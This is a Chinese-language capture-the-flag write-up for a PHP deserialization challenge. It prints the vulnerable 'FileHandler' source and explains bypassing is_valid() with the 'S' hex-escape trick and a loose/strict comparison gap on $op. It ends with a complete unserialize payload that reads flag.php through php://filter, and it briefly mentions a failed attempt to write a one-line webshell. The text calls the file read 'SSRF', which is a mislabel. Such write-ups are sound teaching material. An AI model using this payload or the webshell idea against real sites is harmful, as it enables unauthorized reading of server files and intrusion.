一、代码审计
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先注意到题目环境中含有一个类和反序列化函数,说明这是一道PHP反序列化漏洞的题目。需要我们构造一个序列化对象字符串。
经过简单的审计,我们可以想到利用file_put_contents()
函数写入一句话木马,经过测试之后发现当前目录没有写文件权限,只能放弃。
我们考虑使用这个类的read()
函数实现SSRF,我们可以通过这个函数拿到flag。
二、构造payload
要构造payload,主要要绕过is_valid()
函数,这个函数限制了我们不能使用%00来进行对protected成员变量赋值,不过存在字符屏蔽绕过,将标明变量名称类型的s
替换为S
,这可以让PHP以16进制的方式解析后方字符串。。
要调用read()
函数,我们需要调用__destruct()
函数并且将$op
的值赋值为2,__destruct()
函数中对$op
的参数有过滤,不过使用的是===
,同时process()
函数中对$op
值的判断是==
,这意味着我们可以通过对$op
赋值整型2,来绕过__destruct()
函数中的强等于,同时也能让process()
函数中的弱比较正常工作。
由于读取的是PHP文件,file_get_contents()
需要使用php://filter伪协议来进行读取。
payload:/?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";s:7:"asdasda";}
结果:
解码: